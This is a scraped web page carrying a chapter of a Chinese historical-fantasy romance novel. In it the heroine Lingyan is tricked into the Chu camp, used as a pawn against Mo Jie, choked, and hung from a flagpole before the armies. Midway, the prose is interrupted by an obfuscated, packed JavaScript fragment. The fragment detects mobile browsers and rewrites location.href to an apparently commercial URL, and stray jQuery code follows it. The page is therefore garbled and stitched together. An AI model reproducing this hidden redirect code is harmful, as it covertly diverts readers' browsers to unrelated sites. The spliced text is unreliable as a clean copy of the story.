万书库 > 玄幻小说 > 锁爱 > 14. 我的女人
    眼前的人各个穿着暗绿纹的紧袖衫,灵烟看着领口上绣的绿松心里猜到了七八分,她担忧地问道:“蔡国怎么了?”


    “蔡国?”为首者半蹲在灵烟面前,微微摇头,提着恭敬的笑说:“蔡国无碍,国君派我等前来是护送夫人。”


    灵烟撑地支起身子,“护送?”


    为首者颔首,一边将准备好的竹简从怀中掏了出来,一边说道:“许国有危,国君怕夫人往许国而去,故而派我等来护送夫人……去烟国。”


    灵烟诧异地瞪圆了眼,她探了脖子去看,竹简上一行字,虽很潦草,但能看出是林深的字迹——


    ‘伐楚是假,灭许为真,墨桀此招,杀鸡儆猴。除楚王,无人能保许存。’


    “灭许为真……他灭许作何?”灵烟声音发涩,微微哑着,她不解地说道:“只因许国奉楚国为霸,他要…杀鸡儆猴?那,怎知楚王一定会保许而不是弃许?”


    为首者搜肠刮肚地想着林深那连珠炮似的交代,生怕说了什么让灵烟起疑,又怕灵烟再继续问下去,急忙打断她,顾自道:“总归许国是将亡了,国君已派人往许国去通风报信,就怕夫人以许国为中转,向烟国去,这才命我等前来。”


    灵烟双眼发空般地望着眼前人领口上的青松,心里乱成麻。


    墨桀先是大兵压境灭了邕城,随后一个扭头打着灭楚的旗号却是歇在蔡国,还对她说不胜亦不败,现在又说要灭许。


    这一招是敲山振虎还是别有算计灵烟已经没有多出的心力去推敲了。


    她只知道墨桀闹这么一出是将整个南方搅得天翻地覆,他的灭,是猫狗鸡鸭尽数的灭,战车滚过,无人生还。


    在她出神的时候,对方的一声疑问,让她黑瞳针般一缩,细思极恐。


    “夫人,孩子呢?”


    灵烟做了什么决定,除了眼面前这几个人和一直远远跟着她的袁杰以外,没有人知道了。


    而心里牵挂她的人,着实是不少。


    身在蔡国的林深这一夜是如坐针毡,林深是半截身子都入土的人了,真没想到这把岁数还要因为灵烟这么个小姑娘提心吊胆。


    派出去的人找没找到她,有没有完整的说明白自己的话,灵烟又到底会不会上当,诸如此类,他越想越觉得自己夜里的决定草率了些。


    这会儿他望着晨雾将散的窗外,望着通向许国的方向,喃喃喟叹:“哎,丫头,莫要怪老夫狠心呐。”


    视线里冒出一个小点,渐渐放大,林深眯着眼确认,半个身子都快探出窗外了,见来者是驾着马的蔡国侍卫,他立马瞪圆了眼,拖着僵硬疲惫的身子一瘸一拐地下楼,嘴里念叨:“可算回来了一个。”


    林深步调匆匆,侍卫勒马而下的时候拱手正要行礼就被林深一把拖住手腕,苍老的声音里焦急不掩,“怎么样?”


    “国君。”侍卫喘着气,低头回话:“找到了。”


    天光刺眼,万分灼热。


    蔡国的君臣就在这要道上的小屋子里挤着,炎热的夏天,也不肯开了门窗,直到午后,一批侍卫从马厩里策马而出,带头的赫然就是清晨回来复命的那一位。


    林深望着那些侍卫的背影幽幽说道:“素来知道兰珍与灵烟关系好,如今看来,确实是好,这种隐秘的路都能告诉她,当真为她着想。”


    身边响起一道谄媚的声音,“国君神机妙算,灵烟果然是往许国走,而且竟是真的去了楚营。国君怎么算到的?”


    林深斜眼看着说话的人,略带自得地一笑,“她都写了绢帛给许国自然是会要去的,且必是带着孩子。许国和邕城的关系那么好,灵烟不会再眼睁睁看着许国被灭。再说,楚营又不是刀山火海,楚王那么讲礼的人,又那么尊重烟国,灵烟没道理不去。去了,万一再获得楚王的保护,由他护送去烟国,那不是比自己奔波强?只要我的竹简和我交代的那些话原封不动的传到了灵烟的耳里,手里,那她就没有理由不去。”


    “国君妙算,臣还有一事佩服,国君能想到让灵烟去楚营,这真是一箭双雕的好计。”


    林深从鼻里呼出一口冗长的气,没好意地冷哼一声,“你是没想明白为什么她进了楚营,蔡国就有了救。”


    那人傻呵呵笑了笑,眼珠一转又问:“那灵烟去了楚营,这事要不要向墨桀透露?”


    林深眸色一凉,“糊涂!你就非要给墨桀理由来毁了蔡国?这事不用你说,只要灵烟能去楚营,剩下的就不是我们该操心的了。”


    这一夜局势变换莫测,灵烟一直认为选择去楚营这个决定是她自己下的,刨开细看还能看出她的几分认真来,当真是觉得自己有这份责任,该做这件事。


    深夜她从楚王帐中离开的时候,还有些自诩得意。


    她明显看到当她说烟国为万国礼制之首将来可与楚国共定制度时,楚王前倾了身子,目光里露出几分兴趣来。


    她还注意到,当她细数墨桀的残暴时,楚王的眉心锁的越来越紧,明显是在思索的。


    后来她进了为她准备的帐子,卸了满心的疲惫,痛快洗了个澡,一夜好似没睡多久,但也精力充沛了。


    可当天明她被楚王请上了战车时,她才依稀感觉到不对,前进的车头不是对着烟国,亦不是对着许国,而是墨字旗纷纷扬扬的龄河。


    膨胀的一颗心没有落地,反倒是被一根名叫权衡的针戳破至满目疮痍。


    当她看见龄河对岸列阵而站的墨军时,她才意识到,自己不知何时,成了盘中棋。


    昨日她还义愤填膺地和楚王说着墨桀的狠绝,还在用烟国来压楚王,现在看来,昨日楚王那笑而不语的模样后头,藏的是怎么一副精妙的算盘。


    现在的她立在战车上,被楚军推到了龄河边,红艳艳的裙子随风摆荡着,显眼,又无助。


    灵烟发随风飞,回想昨日的情景她都觉得悲哀,也觉得可笑,她怎么会认为楚王能助自己一臂之力呢?她怎么会认为自己有这份责任救许国万民于水火呢?她怎么会认为楚军会因一个小小的许国而与墨军对峙呢?


    荒唐可笑,无稽至极。


    身后传来楚王的声音,“灵夫人如此信任本王,本王自然不会让夫人失望。只是夫人也看见了,墨军就在河对岸,且昨日他们还来致了师,取了我楚军将士几颗人头走。夫人,也该帮帮本王,解决了这件事,本王一定送夫人去烟国。”


    灵烟没回头,视线留在远处列队的墨军处,飘扬的旗帜,击鼓的整队声,激昂的战歌声,一切都像阎王点卯似的,催着楚军的命。


    君王特用的战车出现在灵烟的视线里,高高的麾盖下站着一个人,尽管隔的那么远,可她看见他的轮廓时还是会脊背一紧。


    灵烟心里泛起一丝别扭,“你以为,我能有什么作用……”她声音沙沙的,有些悲凉,“你们两国之争,我一个女人能有什么用?”


    楚王的一声叹息里带着转瞬即逝的轻蔑,“你昨日不是说他没打算攻楚?若你没有说谎,那他现在的做法就是在虚张声势,他的目的只能是和谈。你的作用不过是为本王添一分胜算罢了,本王不需要你有什么用。”


    “你就一定,要把我推在前面?”


    “你就不明白,什么叫各取所需?”


    灵烟看着远处麾盖下的人影,他就那么立在那儿,一动不动。


    她有预感,墨桀平静的表面下,他燃烧的愤怒已经到了顶。


    她微微摇头,挣扎着又道:“他这个人,最是善变。之前说不攻不代表现在不攻,若真攻起来了,你又能有几分胜算。”


    “呵,若真攻起来,我楚国也不弱。”


    “便是不弱,你也在挑衅他。你把我推在前面不就是在告诉他,他不如一介女子吗?若本来还能和谈的,你这么一做,他可能反倒被你激怒了。他们士气那么足,你听不到吗?”


    楚王自然听得到,他靠近灵烟,沉甸甸的声音里透着无奈也透着不容置疑,“他已经看见你了,若本王让你消失在他的视线里,那才是激怒他。本王已经说过了,要的是你站在这儿,仅此而已。至于打不打得起来,便是没有你昨日寻来,本王也知道,打不起来。”


    东南西北四方制衡,攻任意一方都是在与其余三方为敌,如果没有十足十的打算,谁敢这么做?


    楚王冷冷一笑,“你看他走了这么远,真正灭了谁呢?说到底一个国都没敢灭,只是把气撒在了邕城上。”


    邕城这两个字一下触到了灵烟的逆鳞,她猛然回头,恶狠狠盯着楚王,咬牙切齿道:“邕城,不是没给你交过供,你不仅不讲廉耻,在邕城城灭的时候无动于衷,还趁人之危利用我来激墨桀!你到底怎么配得上南方霸主这四个字!”


    楚王眼一眯,一手掐在灵烟的细颈上,迫她后退直至腰撞上车栏,他力气不收,压弯她的腰后横眉怒目地盯着她,凶戾的话从齿缝里挤出来,“本王利用你也是你有的利用!你身为邕城夫人你不知道反省吗!悬风就跟个傻子一样,什么都听你的。邕城被灭你难辞其咎!况整个邕城都没了,偏生你被他留了下来,呵,你干净吗?”


    灵烟被他压着,掐着,眼冒金星。


    她反抗着,扭了胳膊,也还是没奈何得了这个男人。


    突然之间,她听楚军之中有人呐喊,说着墨军冲过来了。


    这句话,算是救了她。


    楚王一转身就与几名将士往国君的战车上登去,灵烟瘫坐在车面上,偏眸去看时就见墨桀仍站在他的战车上,注视着她。


    一声嘶喊拽回她的注意力,她惊觉周秦竟是已经离他们这么近了。


    见周秦带着十余人过了桥,直直往楚王的战车处奔来,灵烟看着那飞奔的马蹄心里揣测墨桀怕是又有什么非比寻常的邪计,要打乱楚军的列阵。


    她盯着由远及近的周秦,在与他对视的时候灵烟看见周秦还犯坏地对她挑了挑眉,将嘴里叼着的甘草一吐,一手拉弓一手搭箭。


    一瞬间,两支箭就直直射向楚王的战车。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551847|204296||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    车顶的麾盖上的一面鼓被射穿,一枚钲被射歪。


    周秦的马不停,射完两只箭就璇身退去,直爽爽地当着整个楚军的面退回了龄河边。


    就这么风风火火地来了一趟,射了两支箭,又全身而退。


    才进战车里的楚王略带狼狈地钻了出来,他扶着头顶的皮弁,看着已经徘徊瞻顾,斗志颓靡的士兵面上憋得发红,对着身边的人嘱咐着什么。


    或许是事不关己,灵烟淡淡看着楚军明显的各顾其后,莫有斗志她心里免不得感叹一句,曾经的楚军,其攻势之猛烈,车马之强盛,军心之凝结都是让人闻风丧胆的存在。


    而如今周秦两支箭就让这些楚军左顾右盼,面色慌乱。


    不知是楚军这几十年荒废了军战,还是昨日那场致师彻底灭了楚军的军心。让楚军一见周秦就像兔子见了狼,只剩落荒而逃。


    灵烟向着楚王的战车看去,不免佩服这两箭射的漂亮。


    一支箭从战鼓的正中心穿了过去,这一箭断了楚军击鼓前进的号令,让楚军没有了指令可以擂鼓进攻。


    另一箭射歪了青铜制的钲,让楚军也没办法鸣金收兵。


    这么一来,是进是退,是攻是守,彻底没了方向。


    更要命的,是龄河对岸,墨军搭的浮桥上,已经走上了战车。


    楚王命人传的令,意在先稳军心,说着什么上古圣王丢了两支箭,被周秦的祖先捡了去,这会儿两支箭都已经用完了,所以周秦便只能慌乱逃窜,退回龄河,已经不足为惧。


    灵烟听得发笑,她看着明显被安抚住但还是不自觉后退的楚军心道涣散至此,何须再攻。


    她左右看着,寻着契机打算趁乱逃走,却是感受到有人靠近她,不等她回头就听见不怀善意的一声呼唤从身后响起。


    “灵夫人。”


    灵烟偏眸看去就见一男子一脸肃穆地看着她,“楚王,原本是不打算食言的,可你也看见了墨军都做了什么,灵夫人,莫怪楚王无情。”


    灵烟瞪着眼看这个男人,心里翻着波涛。


    曾经她见过这人一回,这人是楚王的心腹,彬彬有礼又和善温润。


    她还记得那时她对母亲说,“楚王身边那个谋士倒是一表人才,可惜四十有余了,白发都出来了。”


    母亲极速拧了她一把,“这是胡乱说的?背后议人可是君子所为?仔细告诉你的父亲,你又少不了一顿打。”


    灵烟撇着嘴,那天的一场宴吃得索然无味。


    现在她冷着一双眼看这个男人,在心里将其贬得一文不值,懒得费心。


    她撇开眼的时候冷冰冰说道:“他要对我做什么?不敢亲自来说,要你来。”灵烟音色里带着不屑,“我已经说过了,不管对我做什么,都改变不了墨桀要对楚国做的事。他不是说他要和谈吗?有和我计较的功夫,怎么不去寻墨桀呢?”


    “楚王派人去了。”那个男人靠近她,压着声音笑着说道:“如果墨军停下,派出去的人能回来,那楚王必定履行诺言。若墨军不停下,派出去的人不回来,那楚王也会履行诺言。”


    这话说的是什么,灵烟听得云里雾里,她极为鄙夷地睨了一眼这个男人,正收回眼她就感受到胳膊被抓住,捏着她的那只手用力收了紧,她一疼,本能地想挣脱,被他往地上一甩。她重重从车上摔了下去,侧身着了地,疼得她倒吸了一口冷气。


    抬头仰望时,她眸中带着愤怒与寒心,“堂堂楚军,坐镇整个南方,分明是自己不堪一击偏要对我这个女人下手!我哪里是能左右你们战况的人!把错怪在女人身上,你们楚国人当真是有本事!”


    男人居高临下地看着灵烟,不带温度地说出一句话,一句让灵烟难以置信也心惊胆战的话——


    “来人,把她吊起来,吊在高旗上,立到大军之前。”


    他说着微微弯身,“墨君没杀你就意味着他在乎,既然在乎,那便看看他有多在乎。”


    灵烟看着几名身强力壮的男人拿了高高的旗杆和粗粗的麻绳来,她一边往后挪动一边吼道:“你疯了吗?两军交战拿女人当挡箭牌?!这就是楚国的谋士出的主意?”


    那人冷冰冰看着灵烟被架起来,他微微偏头,闷声说道:“楚国的谋士只谋楚国的利益,你也别忘了,你之所以会来不也是想要楚国护你离开吗?你不是也满眼私心?”


    灵烟气得发抖,正要开口嘴里就被塞进了一块布,有人又用长长的布条勒进她的唇间,不让布被她吐出来。


    羞愤,几乎要了她的命。


    双脚离地的时候,手腕的拽拉让她疼的不敢呼吸,她视线越来越模糊,感受到自己被一点点地越拉越高,她闭上眼,恨这个世道。


    耳里充斥着喊叫声,渐渐的周围越来越嘈杂,突然之间她失了桎梏,坠落下去。


    惊慌的本能让她睁圆了眼,惊呼还没来得及出口,她就落进一个怀里。


    四目相对的时候,她落了一滴泪,一句话都没说。